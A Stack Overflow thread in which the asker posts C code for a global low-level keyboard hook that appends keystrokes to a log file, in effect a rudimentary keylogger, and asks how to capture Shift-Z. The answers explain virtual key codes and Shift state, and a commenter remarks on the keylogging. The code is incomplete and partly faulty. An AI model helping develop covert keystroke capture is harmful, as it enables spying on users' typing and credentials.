1

The function below is logging the "0", "z" and the "1" ok... but its not capturing the "Z" (shift-z)... any help would be appreciated...

__declspec(dllexport)
LRESULT CALLBACK HookProc (UINT nCode, WPARAM wParam, LPARAM lParam)
{
    if ((nCode == HC_ACTION) && (wParam == WM_KEYUP))
    {
        // This Struct gets infos on typed key
        KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);

        // Bytes written counter for WriteFile()
        DWORD Counter;

        wchar_t Logger[1];

        switch (hookstruct.vkCode)
        {
        case 060: Logger[0] = L'0'; break;
        case 061: Logger[0] = L'1'; break;
        case 90: Logger[0] = L'z'; break;
        case 116: Logger[0] = L'Z'; break;
        }

        // Opening of a logfile. Creating it if it does not exists
        HANDLE  hFile = CreateFile(L"C:\\logfile.txt", GENERIC_WRITE,
            FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        // put the file pointer to the end
        SetFilePointer(hFile,NULL,NULL,FILE_END);

        // Write the hFile typed in logfile
        WriteFile(hFile,&Logger,sizeof(Logger),&Counter,NULL);

        //WriteFile(hFile,&hookstruct.vkCode,sizeof(hookstruct.vkCode),&Counter,NULL);
        // Close the file
        CloseHandle(hFile);
    }
}
ChrisN
  • 16,635
  • 9
  • 57
  • 81
Mike Curry
  • 229
  • 1
  • 5
  • 9

2 Answers2

11

The keyboard does not send characters. It sends keys. Whether you're typing z or Z, you're still pressing the same key, and that key has the same VK code both times.

You should also get notification when the Shift key is pressed or released. You can use those notifications to translate the keystrokes into characters. The caps-lock state will also be relevant for that. You may also be concerned about dead keys.

You can check whether the Shift key is pressed. GetAsyncKeyState will tell you the state of the key right now, and GetKeyState will tell you the state of the key as of the last message removed from the message queue.

Rob Kennedy
  • 161,384
  • 21
  • 275
  • 467
  • Four years late, but thanks for this answer. Helped me out :) – James Andrew Sep 30 '12 at 22:41
  • I'd add to this answer that if you're going to work in multi-language environment you might have worse issues, because your process and process-source of kbd event can have different current language. E.g. yours process has Eng active, and if user switch to Rus in another process and presses "Й" - you may get "Q" because it is the same physical key on the keyboard. See also this answer: http://stackoverflow.com/questions/10718009/difference-between-wh-keyboard-and-wh-keyboard-ll – Ivan Danilov Jun 18 '14 at 03:56
  • @IvanDanilov: You are confusing *scan codes* with *virtual key codes*. `Й` and `Q` may have the same scan code, since they share the same physical key on a keyboard. That doesn't imply identical virtual key codes. – IInspectable Sep 30 '15 at 18:26
  • @IInspectable as far as I understand, scancode is hardware dependent, and virtual key code is OS abstraction to unify hardware handling. Neither depends on current language, i.e. pressing `Q` and `Й` on the same keyboard will give same pair (vk, sc). Do you have some link to read about it further? – Ivan Danilov Sep 30 '15 at 18:41
  • 1
    @IvanDanilov: [About Keyboard Input: Virtual-Key Codes Described](https://msdn.microsoft.com/en-us/library/windows/desktop/ms646267.aspx#_win32_Virtual_Key_Codes_Described). – IInspectable Sep 30 '15 at 18:46
  • @IInspectable OK, it seems my understanding is fine, I have just worded my original comment sloppy. Technically your remark is correct, same SCs do not imply same VKs (e.g. one might try Numpad6 with numlock on/off - SC in my case is 4D in both cases, but VK is 66h "VK_NUMPAD6"/27h "VK_RIGHT"). Still the issue with different languages/layouts mostly applies to character keys, where difference between `Й` and `Q` appears after `TranslateMessage` call much later down the call chain. As OP uses low-level hook which is out of process - he can't use even context (e.g. `GetKeyState`). – Ivan Danilov Sep 30 '15 at 19:33
6

There's no virtual key code for Z. Try something like this:

            case 90:
                 if(GetKeyState(VK_LSHIFT|VK_RSHIFT)
                     Logger[0] = L'Z'; break;
                 else
                     Logger[0] = L'z'; break;
arul
  • 13,998
  • 1
  • 57
  • 77
  • You want the **synchronous** key state of the modifier. If you write keyloggers at this level of quality, I'm not terribly concerned about security threats. – IInspectable Sep 30 '15 at 18:18
  • 1
    You might have as well suggested an edit without spilling your paranoia tea; and no, I certainly don't write user-space keyloggers. – arul Sep 30 '15 at 18:25
  • I would propose to delete the answer entirely. It doesn't add anything useful, and completely misses the question. You're handing out guns, and band aids. [Rob Kennedy](http://stackoverflow.com/a/342260/1889329) above hit it right on. The keyboard is not about characters or glyphs. While you provided a (poorly crafted) solution to distinguish between upper- and lowercase Latin characters, it fails for each and every surrogate input (e.g. `é`). And dead keys are just one other example, where this fails. I downvoted this answer, because it is deceptive. – IInspectable Sep 30 '15 at 18:39
  • 1
    I also answered *the question* completely & when there were no other answers. Should I revisit all my answers each week and validate them against systems that I no longer use? Please quote where I say that keyboard is about runes, characters, glyphs ... – arul Sep 30 '15 at 19:00